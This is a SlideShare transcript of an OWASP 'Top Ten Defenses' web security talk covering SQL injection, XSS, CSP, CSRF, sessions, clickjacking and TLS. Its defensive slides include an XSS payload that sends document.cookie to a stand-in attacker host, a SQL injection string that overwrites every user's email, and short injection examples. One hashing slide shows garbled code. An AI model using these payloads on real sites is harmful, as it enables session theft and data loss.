SlideShare uma empresa Scribd logo
1 de 51
Top Ten Defenses
                 It’s ok to cheat


          OWASP Cheatsheet Series

https://www.owasp.org/index.php/Cheat_Sheets




                                           1
HACKED
    © 2012 WhiteHat Security, Inc.
                                     2
';
Anatomy of a SQL Injection Attack

$NEW_EMAIL = Request[‘new_email’];
$USER_ID = Request[‘user_id’];


update users set email=‘$NEW_EMAIL’
where id=$USER_ID;
Anatomy of a SQL Injection Attack
$NEW_EMAIL = Request['new_email'];
$USER_ID = Request['user_id'];

update users set email='$NEW_EMAIL'
where id=$USER_ID;

SUPER AWESOME HACK: $NEW_EMAIL =   ';
update users set email='';
[1]      Query Parameterization (PHP)

 $stmt = $dbh->prepare(”update users set
 email=:new_email where id=:user_id”);

 $stmt->bindParam(':new_email', $email);
 $stmt->bindParam(':user_id', $id);
Query Parameterization (.NET)
SqlConnection objConnection = new
SqlConnection(_ConnectionString);
objConnection.Open();
SqlCommand objCommand = new SqlCommand(
  "SELECT * FROM User WHERE Name = @Name AND Password =

  @Password", objConnection);
objCommand.Parameters.Add("@Name", NameTextBox.Text);
objCommand.Parameters.Add("@Password", PassTextBox.Text);
SqlDataReader objReader = objCommand.ExecuteReader();
Query Parameterization (Java)
String newName = request.getParameter("newName") ;
String id = request.getParameter("id");
//SQL
PreparedStatement pstmt = con.prepareStatement("UPDATE
EMPLOYEES SET NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setString(2, id);

//HQL
Query safeHQLQuery = session.createQuery("from Employees
where id=:empId");
safeHQLQuery.setParameter("empId", id);
Query Parameterization (Ruby)
# Create
Project.create!(:name => 'owasp')
# Read
Project.all(:conditions => "name = ?", name)
Project.all(:conditions => { :name => name })
Project.where("name = :name", :name => name)
Project.where(:id=> params[:id]).all
# Update
project.update_attributes(:name => 'owasp')
Query Parameterization (Cold Fusion)

<cfquery name="getFirst" dataSource="cfsnippets">
   SELECT * FROM #strDatabasePrefix#_courses WHERE
intCourseID = <cfqueryparam value=#intCourseID#
CFSQLType="CF_SQL_INTEGER">
</cfquery>
Query Parameterization (PERL)
my $sql = "INSERT INTO foo (bar, baz) VALUES
( ?, ? )";
my $sth = $dbh->prepare( $sql );
$sth->execute( $bar, $baz );
Query Parameterization (.NET LINQ)
public bool login(string loginId, string shrPass) {
   DataClassesDataContext db = new
DataClassesDataContext();
   var validUsers = from user in db.USER_PROFILE
               where user.LOGIN_ID == loginId
                                        && user.PASSWORDH
== shrPass                          select user;
   if (validUsers.Count() > 0) return true;
   return false;
};
[2]    Secure Password Storage
  public String hash(String password, String userSalt, int iterations)
        throws EncryptionException {
  byte[] bytes = null;
  try {
    MessageDigest digest = MessageDigest.getInstance(hashAlgorithm);
    digest.reset();
    digest.update(ESAPI.securityConfiguration().getMasterSalt());
    digest.update(userSalt.getBytes(encoding));
    digest.update(password.getBytes(encoding));

     // rehash a number of times to help strengthen weak passwords
     bytes = digest.digest();
     for (int i = 0; i < iterations; i++) {
        digest.reset(); bytes = digest.digest(bytes);
      }
     String encoded = ESAPI.encoder().encodeForBase64(bytes,false);
     return encoded;
  } catch (Exception ex) {
          throw new EncryptionException("Internal error", "Error");
  }}
Secure Password Storage
public String hash(String password, String userSalt, int iterations)
      throws EncryptionException {
byte[] bytes = null;
try {
  MessageDigest digest = MessageDigest.getInstance(hashAlgorithm);
  digest.reset();
  digest.update(ESAPI.securityConfiguration().getMasterSalt());
  digest.update(userSalt.getBytes(encoding));
  digest.update(password.getBytes(encoding));

   // rehash a number of times to help strengthen weak passwords
   bytes = digest.digest();
   for (int i = 0; i < iterations; i++) {
      digest.reset(); bytes = digest.digest(bytes);
    }
   String encoded = ESAPI.encoder().encodeForBase64(bytes,false);
   return encoded;
} catch (Exception ex) {
        throw new EncryptionException("Internal error", "Error");
}}
Secure Password Storage
public String hash(String password, String userSalt, int iterations)
      throws EncryptionException {
byte[] bytes = null;
try {
  MessageDigest digest = MessageDigest.getInstance(hashAlgorithm);
  digest.reset();
  digest.update(ESAPI.securityConfiguration().getMasterSalt());
  digest.update(userSalt.getBytes(encoding));
  digest.update(password.getBytes(encoding));

   // rehash a number of times to help strengthen weak passwords
   bytes = digest.digest();
   for (int i = 0; i < iterations; i++) {
      digest.reset(); bytes = digest.digest(salts + bytes + hash(i));
    }
   String encoded = ESAPI.encoder().encodeForBase64(bytes,false);
   return encoded;
} catch (Exception ex) {
        throw new EncryptionException("Internal error", "Error");
}}
Secure Password Storage
• BCRYPT
- Really slow on purpose
- Blowfish derived
- Suppose you are supporting millions on concurrent
  logins…
- Takes about 10 concurrent runs of BCRYPT to pin
  a high performance laptop CPU

• PBKDF2
- Takes up a lot of memory
- Suppose you are supporting millions on concurrent
  logins…
Anatomy of a XSS Attack
<script>window.location=‘http://evi
leviljim.com/unc/data=‘ +
document.cookie;</script>


<script>document.body.innerHTML=‘<b
link>CYBER IS
COOL</blink>’;</script>
[3]     Contextual Output Encoding
              (XSS Defense)
  – Session Hijacking
  – Site Defacement
  – Network Scanning
  – Undermining CSRF Defenses
  – Site Redirection/Phishing
  – Load of Remotely Hosted Scripts
  – Data Theft
  – Keystroke Logging
  – Attackers using XSS more frequently
XSS Defense by Data Type and Context
Data Type                      Context                     Defense
String                         HTML Body                   HTML Entity Encode
String                         HTML Attribute              Minimal Attribute Encoding
String                         GET Parameter               URL Encoding
String                         Untrusted URL               URL Validation, avoid javascript: URLs,
                                                           Attribute encoding, safe URL verification

String                         CSS                         Strict structural validation, CSS Hex
                                                           encoding, good design
HTML                           HTML Body                   HTML Validation (JSoup, AntiSamy, HTML
                                                           Sanitizer)
Any                            DOM                         DOM XSS Cheat Sheet
Untrusted JavaScript           Any                         Sandboxing
JSON                           Client Parse Time           JSON.parse() or json2.js

Safe HTML Attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing,
class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight,
marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan,
scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width
HTML Body Context


<span>UNTRUSTED DATA</span>
HTML Attribute Context
   <input type="text" name="fname"
    value="UNTRUSTED DATA">


attack: "><script>/* bad stuff */</script>
HTTP GET Parameter Context


<a href="/site/search?value=UNTRUSTED
           DATA">clickme</a>
URL Context
       <a href="UNTRUSTED
         URL">clickme</a>
 <iframe src="UNTRUSTED URL" />

attack: javascript:eval(/* BAD STUFF */)
CSS Value Context

  <div style="width: UNTRUSTED
     DATA;">Selection</div>

attack: expression(/* BAD STUFF */)
JavaScript Variable Context
<script>var currentValue='UNTRUSTED
            DATA';</script>

 <script>someFunction('UNTRUSTED
           DATA');</script>

     attack: ');/* BAD STUFF */
JSON Parsing Context


JSON.parse(UNTRUSTED JSON
           DATA)

    SAFE use of JQuery
    
        $(‘#element’).text(UNTRUSTED DATA);


UNSAFE use of JQuery



    
     $(‘#element’).html(UNTRUSTED DATA);
Dangerous jQuery 1.7.2 Data Types
CSS                                       Some Attribute Settings
HTML                                      URL (Potential Redirect)

      jQuery methods that directly update DOM or can execute JavaScript
$() or jQuery()                           .attr()
.add()                                    .css()
.after()                                  .html()
.animate()                                .insertAfter()
.append()                                 .insertBefore()
.appendTo()                              Note: .text() updates DOM, but is
                                         safe.
           jQuery methods that accept URLs to potentially unsafe content
jQuery.ajax()                             jQuery.post()
jQuery.get()                              load()
jQuery.getScript()




                                                                             28
JQuery Encoding with JQencoder

    Contextual encoding is a crucial technique needed to
    stop all types of XSS

    jqencoder is a jQuery plugin that allows developers to
    do contextual encoding in JavaScript to stop DOM-
    based XSS
    
        http://plugins.jquery.com/plugin-tags/security
    
        $('#element').encode('html', cdata);
Best Practice: DOM-Based XSS
                  Defense
• Untrusted data should only be treated as displayable text
• JavaScript encode and delimit untrusted data as quoted strings
• Use document.createElement("…"),
  element.setAttribute("…","value"), element.appendChild(…),
  etc. to build dynamic interfaces (safe attributes only)
• Avoid use of HTML rendering methods
• Make sure that any untrusted data passed to eval() methods is
  delimited with string delimiters and enclosed within a closure
  such as eval(someFunction(‘UNTRUSTED DATA’));
[4]                  Content Security Policy
 • Anti-XSS W3C standard
 • CSP 1.1 Draft 19 published August 2012
  - https://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-
    specification.dev.html
 • Must move all inline script and style into external scripts
 • Add the X-Content-Security-Policy response header to instruct
   the browser that CSP is in use
  - Firefox/IE10PR: X-Content-Security-Policy
  - Chrome Experimental: X-WebKit-CSP
  - Content-Security-Policy-Report-Only
 • Define a policy for the site regarding loading of content
CSP By Example 1
Source: http://people.mozilla.com/~bsterne/content-security-
policy/details.html

Site allows images from anywhere, plugin content from a list of
trusted media providers, and scripts only from its server:

X-Content-Security-Policy: allow 'self'; img-src *; object-src
media1.com media2.com; script-src scripts.example.com
CSP By Example 2
Source: http://www.html5rocks.com/en/tutorials/security/content-
security-policy/

Site that loads resources from a content delivery network and
does not need framed content or any plugins

X-Content-Security-Policy: default-src https://cdn.example.net;
frame-src 'none'; object-src 'none'
[5]       Cross-Site Request Forgery
         Tokens and Re-authentication

      – Cryptographic Tokens
        • Primary and most powerful defense.
          Randomness is your friend

      – Require users to re-authenticate
        • Amazon.com does this *really* well

      – Double-cookie submit defense
        • Decent defense, but not based on
          randomness; based on SOP
[6]        Multi Factor Authentication
      – Passwords as a single AuthN factor are DEAD!
      – Mobile devices are quickly becoming the “what
        you have” factor
      – SMS and native apps for MFA are not perfect
        but heavily reduce risk vs. passwords only
      – Password strength and password policy can be
        MUCH WEAKER in the face of MFA
      – If you are protecting your magic user and fireball
        wand with MFA (Blizzard.net) you may also wish
        to consider protecting your multi-billion dollar
        enterprise with MFA
[7]    Forgot Password Secure Design
      – Require identity and security questions
         • Last name, account number, email, DOB
         • Enforce lockout policy
         • Ask one or more good security questions
            – http://www.goodsecurityquestions.com/
      – Send the user a randomly generated token
        via out-of-band method
         • email, SMS or token
      – Verify code in same Web session
         • Enforce lockout policy
      – Change password
         • Enforce password policy
[8]             Session Defenses
      – Ensure secure session IDs
         •   20+ bytes, cryptographically random
         •   Stored in HTTP Cookies
         •   Cookies: Secure, HTTP Only, limited path
         •   No Wildcard Domains
      – Generate new session ID at login time
         • To avoid session fixation
      – Session Timeout
         • Idle Timeout
         • Absolute Timeout
         • Logout Functionality
Anatomy of a
Clickjacking Attack
[9]                X-Frame-Options

  // to prevent all framing of this content
  response.addHeader( "X-FRAME-OPTIONS", "DENY" );

  // to allow framing of this content only by this site
  response.addHeader( "X-FRAME-OPTIONS", "SAMEORIGIN" );

 // to allow framing from a specific domain
 response.addHeader( "X-FRAME-OPTIONS", "ALLOW-FROM
  X" );
Legacy Browser Clickjacking Defense
<style id="antiCJ">body{display:none !important;}</style>
<script type="text/javascript">
if (self === top) {
   var antiClickjack = document.getElementByID("antiCJ");
   antiClickjack.parentNode.removeChild(antiClickjack)
} else {
   top.location = self.location;
}
</script>
[10]                 Encryption in Transit
                         (HTTPS/TLS)
  – Authentication credentials and session identifiers must
    be encrypted in transit via HTTPS/SSL
     • Starting when the login form is rendered
     • Until logout is complete
     • CSP and HSTS can help here
  – https://www.ssllabs.com free online assessment of
    public-facing server HTTPS configuration
  – https://www.owasp.org/index.php/Transport_Layer_Protecti
    on_Cheat_Sheet for HTTPS
    best practices
and love

  the

 WAF
[11]           Virtual Patching


  “A security policy enforcement
     layer which prevents the
      exploitation of a known
           vulnerability”
Virtual Patching
Rationale for Usage
  – No Source Code Access
  – No Access to Developers
  – High Cost/Time to Fix

Benefit
  – Reduce Time-to-Fix
  – Reduce Attack Surface
Strategic Remediation
• Ownership is Builders
• Focus on web application root causes of
  vulnerabilities and creation of controls in
  code
• Ideas during design and initial coding
  phase of SDLC
• This takes serious time, expertise and
  planning
Tactical Remediation
• Ownership is Defenders
• Focus on web applications that are
  already in production and exposed to
  attacks
• Examples include using a Web Application
  Firewall (WAF) such as ModSecurity
• Aim to minimize the Time-to-Fix
  exposures
OWASP ModSecurity Core Rule Set
           (CRS)




    http://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project
jim@owasp.org

Mais conteúdo relacionado

Mais procurados

Getting started with Elasticsearch and .NET
Getting started with Elasticsearch and .NETGetting started with Elasticsearch and .NET
Getting started with Elasticsearch and .NETTomas Jansson
 
Building Secure User Interfaces With JWTs (JSON Web Tokens)
Building Secure User Interfaces With JWTs (JSON Web Tokens)Building Secure User Interfaces With JWTs (JSON Web Tokens)
Building Secure User Interfaces With JWTs (JSON Web Tokens)Stormpath
 
CouchDB on Android
CouchDB on AndroidCouchDB on Android
CouchDB on AndroidSven Haiges
 
Mongo db mug_2012-02-07
Mongo db mug_2012-02-07Mongo db mug_2012-02-07
Mongo db mug_2012-02-07Will Button
 
Javascript Object Signing & Encryption
Javascript Object Signing & EncryptionJavascript Object Signing & Encryption
Javascript Object Signing & EncryptionAaron Zauner
 
Application Security around OWASP Top 10
Application Security around OWASP Top 10Application Security around OWASP Top 10
Application Security around OWASP Top 10Sastry Tumuluri
 
Google
GoogleGoogle
Googlesoon
 
Authentication
AuthenticationAuthentication
Authenticationsoon
 
Cache is King: Get the Most Bang for Your Buck From Ruby
Cache is King: Get the Most Bang for Your Buck From RubyCache is King: Get the Most Bang for Your Buck From Ruby
Cache is King: Get the Most Bang for Your Buck From RubyMolly Struve
 
Pursuing the Strong, Not So Silent Type: A Haskell Story
Pursuing the Strong, Not So Silent Type: A Haskell StoryPursuing the Strong, Not So Silent Type: A Haskell Story
Pursuing the Strong, Not So Silent Type: A Haskell StoryKatie Ots
 
Web application Security
Web application SecurityWeb application Security
Web application SecurityLee C
 
Haskell is Not For Production and Other Tales
Haskell is Not For Production and Other TalesHaskell is Not For Production and Other Tales
Haskell is Not For Production and Other TalesKatie Ots
 
High Performance XQuery Processing in PHP with Zorba by Vikram Vaswani
High Performance XQuery Processing in PHP with Zorba by Vikram VaswaniHigh Performance XQuery Processing in PHP with Zorba by Vikram Vaswani
High Performance XQuery Processing in PHP with Zorba by Vikram Vaswanivvaswani
 
DEF CON 23 - amit ashbel and maty siman - game of hacks
DEF CON 23 - amit ashbel and maty siman - game of hacks DEF CON 23 - amit ashbel and maty siman - game of hacks
DEF CON 23 - amit ashbel and maty siman - game of hacks Felipe Prado
 
ONE MORE TIME ABOUT CODE STANDARDS AND BEST PRACTICES
ONE MORE TIME ABOUT CODE STANDARDS AND BEST PRACTICESONE MORE TIME ABOUT CODE STANDARDS AND BEST PRACTICES
ONE MORE TIME ABOUT CODE STANDARDS AND BEST PRACTICESDrupalCamp Kyiv
 
Nko workshop - node js crud & deploy
Nko workshop - node js crud & deployNko workshop - node js crud & deploy
Nko workshop - node js crud & deploySimon Su
 
ドキュメントデータベースとして MySQLを使う!? ~MySQL JSON UDF~
ドキュメントデータベースとして MySQLを使う!? ~MySQL JSON UDF~ドキュメントデータベースとして MySQLを使う!? ~MySQL JSON UDF~
ドキュメントデータベースとして MySQLを使う!? ~MySQL JSON UDF~yoyamasaki
 

Mais procurados (20)

Getting started with Elasticsearch and .NET
Getting started with Elasticsearch and .NETGetting started with Elasticsearch and .NET
Getting started with Elasticsearch and .NET
 
Building Secure User Interfaces With JWTs (JSON Web Tokens)
Building Secure User Interfaces With JWTs (JSON Web Tokens)Building Secure User Interfaces With JWTs (JSON Web Tokens)
Building Secure User Interfaces With JWTs (JSON Web Tokens)
 
CouchDB on Android
CouchDB on AndroidCouchDB on Android
CouchDB on Android
 
Web security
Web securityWeb security
Web security
 
Mongo db mug_2012-02-07
Mongo db mug_2012-02-07Mongo db mug_2012-02-07
Mongo db mug_2012-02-07
 
Javascript Object Signing & Encryption
Javascript Object Signing & EncryptionJavascript Object Signing & Encryption
Javascript Object Signing & Encryption
 
Application Security around OWASP Top 10
Application Security around OWASP Top 10Application Security around OWASP Top 10
Application Security around OWASP Top 10
 
Google
GoogleGoogle
Google
 
Authentication
AuthenticationAuthentication
Authentication
 
Cache is King: Get the Most Bang for Your Buck From Ruby
Cache is King: Get the Most Bang for Your Buck From RubyCache is King: Get the Most Bang for Your Buck From Ruby
Cache is King: Get the Most Bang for Your Buck From Ruby
 
JOSE Can You See...
JOSE Can You See...JOSE Can You See...
JOSE Can You See...
 
Perl object ?
Perl object ?Perl object ?
Perl object ?
 
Pursuing the Strong, Not So Silent Type: A Haskell Story
Pursuing the Strong, Not So Silent Type: A Haskell StoryPursuing the Strong, Not So Silent Type: A Haskell Story
Pursuing the Strong, Not So Silent Type: A Haskell Story
 
Web application Security
Web application SecurityWeb application Security
Web application Security
 
Haskell is Not For Production and Other Tales
Haskell is Not For Production and Other TalesHaskell is Not For Production and Other Tales
Haskell is Not For Production and Other Tales
 
High Performance XQuery Processing in PHP with Zorba by Vikram Vaswani
High Performance XQuery Processing in PHP with Zorba by Vikram VaswaniHigh Performance XQuery Processing in PHP with Zorba by Vikram Vaswani
High Performance XQuery Processing in PHP with Zorba by Vikram Vaswani
 
DEF CON 23 - amit ashbel and maty siman - game of hacks
DEF CON 23 - amit ashbel and maty siman - game of hacks DEF CON 23 - amit ashbel and maty siman - game of hacks
DEF CON 23 - amit ashbel and maty siman - game of hacks
 
ONE MORE TIME ABOUT CODE STANDARDS AND BEST PRACTICES
ONE MORE TIME ABOUT CODE STANDARDS AND BEST PRACTICESONE MORE TIME ABOUT CODE STANDARDS AND BEST PRACTICES
ONE MORE TIME ABOUT CODE STANDARDS AND BEST PRACTICES
 
Nko workshop - node js crud & deploy
Nko workshop - node js crud & deployNko workshop - node js crud & deploy
Nko workshop - node js crud & deploy
 
ドキュメントデータベースとして MySQLを使う!? ~MySQL JSON UDF~
ドキュメントデータベースとして MySQLを使う!? ~MySQL JSON UDF~ドキュメントデータベースとして MySQLを使う!? ~MySQL JSON UDF~
ドキュメントデータベースとして MySQLを使う!? ~MySQL JSON UDF~
 

Semelhante a Top Ten Web Defenses - DefCamp 2012

Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...
Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...
Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...Xlator
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure codingHaitham Raik
 
Talk about html5 security
Talk about html5 securityTalk about html5 security
Talk about html5 securityHuang Toby
 
Php Security By Mugdha And Anish
Php Security By Mugdha And AnishPhp Security By Mugdha And Anish
Php Security By Mugdha And AnishOSSCube
 
前端MVC之BackboneJS
前端MVC之BackboneJS前端MVC之BackboneJS
前端MVC之BackboneJSZhang Xiaoxue
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesCarol McDonald
 
Plugin Development - WP Meetup Antwerp
Plugin Development - WP Meetup AntwerpPlugin Development - WP Meetup Antwerp
Plugin Development - WP Meetup AntwerpBarry Kooij
 
Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Jim Manico
 
Attacks against Microsoft network web clients
Attacks against Microsoft network web clients Attacks against Microsoft network web clients
Attacks against Microsoft network web clients Positive Hack Days
 
General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Securityjemond
 
Rabin Shrestha: Data Validation and Sanitization in WordPress
Rabin Shrestha: Data Validation and Sanitization in WordPressRabin Shrestha: Data Validation and Sanitization in WordPress
Rabin Shrestha: Data Validation and Sanitization in WordPresswpnepal
 
NoSQL and JavaScript: a Love Story
NoSQL and JavaScript: a Love StoryNoSQL and JavaScript: a Love Story
NoSQL and JavaScript: a Love StoryAlexandre Morgaut
 
09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)
09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)
09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)Igor Bronovskyy
 
Third Party Auth in WebObjects
Third Party Auth in WebObjectsThird Party Auth in WebObjects
Third Party Auth in WebObjectsWO Community
 
Securing Java EE Web Apps
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web AppsFrank Kim
 
OWASP San Diego Training Presentation
OWASP San Diego Training PresentationOWASP San Diego Training Presentation
OWASP San Diego Training Presentationowaspsd
 

Semelhante a Top Ten Web Defenses - DefCamp 2012 (20)

Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...
Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...
Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure coding
 
Talk about html5 security
Talk about html5 securityTalk about html5 security
Talk about html5 security
 
Php Security By Mugdha And Anish
Php Security By Mugdha And AnishPhp Security By Mugdha And Anish
Php Security By Mugdha And Anish
 
前端MVC之BackboneJS
前端MVC之BackboneJS前端MVC之BackboneJS
前端MVC之BackboneJS
 
前端概述
前端概述前端概述
前端概述
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security Vulnerabilities
 
Rails and security
Rails and securityRails and security
Rails and security
 
Plugin Development - WP Meetup Antwerp
Plugin Development - WP Meetup AntwerpPlugin Development - WP Meetup Antwerp
Plugin Development - WP Meetup Antwerp
 
Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2
 
Attacks against Microsoft network web clients
Attacks against Microsoft network web clients Attacks against Microsoft network web clients
Attacks against Microsoft network web clients
 
PHPUG Presentation
PHPUG PresentationPHPUG Presentation
PHPUG Presentation
 
General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Security
 
Rabin Shrestha: Data Validation and Sanitization in WordPress
Rabin Shrestha: Data Validation and Sanitization in WordPressRabin Shrestha: Data Validation and Sanitization in WordPress
Rabin Shrestha: Data Validation and Sanitization in WordPress
 
NoSQL and JavaScript: a Love Story
NoSQL and JavaScript: a Love StoryNoSQL and JavaScript: a Love Story
NoSQL and JavaScript: a Love Story
 
09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)
09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)
09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)
 
Third Party Auth in WebObjects
Third Party Auth in WebObjectsThird Party Auth in WebObjects
Third Party Auth in WebObjects
 
Html5 For Jjugccc2009fall
Html5 For Jjugccc2009fallHtml5 For Jjugccc2009fall
Html5 For Jjugccc2009fall
 
Securing Java EE Web Apps
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web Apps
 
OWASP San Diego Training Presentation
OWASP San Diego Training PresentationOWASP San Diego Training Presentation
OWASP San Diego Training Presentation
 

Mais de DefCamp

Remote Yacht Hacking
Remote Yacht HackingRemote Yacht Hacking
Remote Yacht HackingDefCamp
 
Mobile, IoT, Clouds… It’s time to hire your own risk manager!
Mobile, IoT, Clouds… It’s time to hire your own risk manager!Mobile, IoT, Clouds… It’s time to hire your own risk manager!
Mobile, IoT, Clouds… It’s time to hire your own risk manager!DefCamp
 
The Charter of Trust
The Charter of TrustThe Charter of Trust
The Charter of TrustDefCamp
 
Internet Balkanization: Why Are We Raising Borders Online?
Internet Balkanization: Why Are We Raising Borders Online?Internet Balkanization: Why Are We Raising Borders Online?
Internet Balkanization: Why Are We Raising Borders Online?DefCamp
 
Bridging the gap between CyberSecurity R&D and UX
Bridging the gap between CyberSecurity R&D and UXBridging the gap between CyberSecurity R&D and UX
Bridging the gap between CyberSecurity R&D and UXDefCamp
 
Secure and privacy-preserving data transmission and processing using homomorp...
Secure and privacy-preserving data transmission and processing using homomorp...Secure and privacy-preserving data transmission and processing using homomorp...
Secure and privacy-preserving data transmission and processing using homomorp...DefCamp
 
Drupalgeddon 2 – Yet Another Weapon for the Attacker
Drupalgeddon 2 – Yet Another Weapon for the AttackerDrupalgeddon 2 – Yet Another Weapon for the Attacker
Drupalgeddon 2 – Yet Another Weapon for the AttackerDefCamp
 
Economical Denial of Sustainability in the Cloud (EDOS)
Economical Denial of Sustainability in the Cloud (EDOS)Economical Denial of Sustainability in the Cloud (EDOS)
Economical Denial of Sustainability in the Cloud (EDOS)DefCamp
 
Trust, but verify – Bypassing MFA
Trust, but verify – Bypassing MFATrust, but verify – Bypassing MFA
Trust, but verify – Bypassing MFADefCamp
 
Threat Hunting: From Platitudes to Practical Application
Threat Hunting: From Platitudes to Practical ApplicationThreat Hunting: From Platitudes to Practical Application
Threat Hunting: From Platitudes to Practical ApplicationDefCamp
 
Building application security with 0 money down
Building application security with 0 money downBuilding application security with 0 money down
Building application security with 0 money downDefCamp
 
Implementation of information security techniques on modern android based Kio...
Implementation of information security techniques on modern android based Kio...Implementation of information security techniques on modern android based Kio...
Implementation of information security techniques on modern android based Kio...DefCamp
 
Lattice based Merkle for post-quantum epoch
Lattice based Merkle for post-quantum epochLattice based Merkle for post-quantum epoch
Lattice based Merkle for post-quantum epochDefCamp
 
The challenge of building a secure and safe digital environment in healthcare
The challenge of building a secure and safe digital environment in healthcareThe challenge of building a secure and safe digital environment in healthcare
The challenge of building a secure and safe digital environment in healthcareDefCamp
 
Timing attacks against web applications: Are they still practical?
Timing attacks against web applications: Are they still practical?Timing attacks against web applications: Are they still practical?
Timing attacks against web applications: Are they still practical?DefCamp
 
Tor .onions: The Good, The Rotten and The Misconfigured
Tor .onions: The Good, The Rotten and The Misconfigured Tor .onions: The Good, The Rotten and The Misconfigured
Tor .onions: The Good, The Rotten and The Misconfigured DefCamp
 
Needles, Haystacks and Algorithms: Using Machine Learning to detect complex t...
Needles, Haystacks and Algorithms: Using Machine Learning to detect complex t...Needles, Haystacks and Algorithms: Using Machine Learning to detect complex t...
Needles, Haystacks and Algorithms: Using Machine Learning to detect complex t...DefCamp
 
We will charge you. How to [b]reach vendor’s network using EV charging station.
We will charge you. How to [b]reach vendor’s network using EV charging station.We will charge you. How to [b]reach vendor’s network using EV charging station.
We will charge you. How to [b]reach vendor’s network using EV charging station.DefCamp
 
Connect & Inspire Cyber Security
Connect & Inspire Cyber SecurityConnect & Inspire Cyber Security
Connect & Inspire Cyber SecurityDefCamp
 
The lions and the watering hole
The lions and the watering holeThe lions and the watering hole
The lions and the watering holeDefCamp
 

Mais de DefCamp (20)

Remote Yacht Hacking
Remote Yacht HackingRemote Yacht Hacking
Remote Yacht Hacking
 
Mobile, IoT, Clouds… It’s time to hire your own risk manager!
Mobile, IoT, Clouds… It’s time to hire your own risk manager!Mobile, IoT, Clouds… It’s time to hire your own risk manager!
Mobile, IoT, Clouds… It’s time to hire your own risk manager!
 
The Charter of Trust
The Charter of TrustThe Charter of Trust
The Charter of Trust
 
Internet Balkanization: Why Are We Raising Borders Online?
Internet Balkanization: Why Are We Raising Borders Online?Internet Balkanization: Why Are We Raising Borders Online?
Internet Balkanization: Why Are We Raising Borders Online?
 
Bridging the gap between CyberSecurity R&D and UX
Bridging the gap between CyberSecurity R&D and UXBridging the gap between CyberSecurity R&D and UX
Bridging the gap between CyberSecurity R&D and UX
 
Secure and privacy-preserving data transmission and processing using homomorp...
Secure and privacy-preserving data transmission and processing using homomorp...Secure and privacy-preserving data transmission and processing using homomorp...
Secure and privacy-preserving data transmission and processing using homomorp...
 
Drupalgeddon 2 – Yet Another Weapon for the Attacker
Drupalgeddon 2 – Yet Another Weapon for the AttackerDrupalgeddon 2 – Yet Another Weapon for the Attacker
Drupalgeddon 2 – Yet Another Weapon for the Attacker
 
Economical Denial of Sustainability in the Cloud (EDOS)
Economical Denial of Sustainability in the Cloud (EDOS)Economical Denial of Sustainability in the Cloud (EDOS)
Economical Denial of Sustainability in the Cloud (EDOS)
 
Trust, but verify – Bypassing MFA
Trust, but verify – Bypassing MFATrust, but verify – Bypassing MFA
Trust, but verify – Bypassing MFA
 
Threat Hunting: From Platitudes to Practical Application
Threat Hunting: From Platitudes to Practical ApplicationThreat Hunting: From Platitudes to Practical Application
Threat Hunting: From Platitudes to Practical Application
 
Building application security with 0 money down
Building application security with 0 money downBuilding application security with 0 money down
Building application security with 0 money down
 
Implementation of information security techniques on modern android based Kio...
Implementation of information security techniques on modern android based Kio...Implementation of information security techniques on modern android based Kio...
Implementation of information security techniques on modern android based Kio...
 
Lattice based Merkle for post-quantum epoch
Lattice based Merkle for post-quantum epochLattice based Merkle for post-quantum epoch
Lattice based Merkle for post-quantum epoch
 
The challenge of building a secure and safe digital environment in healthcare
The challenge of building a secure and safe digital environment in healthcareThe challenge of building a secure and safe digital environment in healthcare
The challenge of building a secure and safe digital environment in healthcare
 
Timing attacks against web applications: Are they still practical?
Timing attacks against web applications: Are they still practical?Timing attacks against web applications: Are they still practical?
Timing attacks against web applications: Are they still practical?
 
Tor .onions: The Good, The Rotten and The Misconfigured
Tor .onions: The Good, The Rotten and The Misconfigured Tor .onions: The Good, The Rotten and The Misconfigured
Tor .onions: The Good, The Rotten and The Misconfigured
 
Needles, Haystacks and Algorithms: Using Machine Learning to detect complex t...
Needles, Haystacks and Algorithms: Using Machine Learning to detect complex t...Needles, Haystacks and Algorithms: Using Machine Learning to detect complex t...
Needles, Haystacks and Algorithms: Using Machine Learning to detect complex t...
 
We will charge you. How to [b]reach vendor’s network using EV charging station.
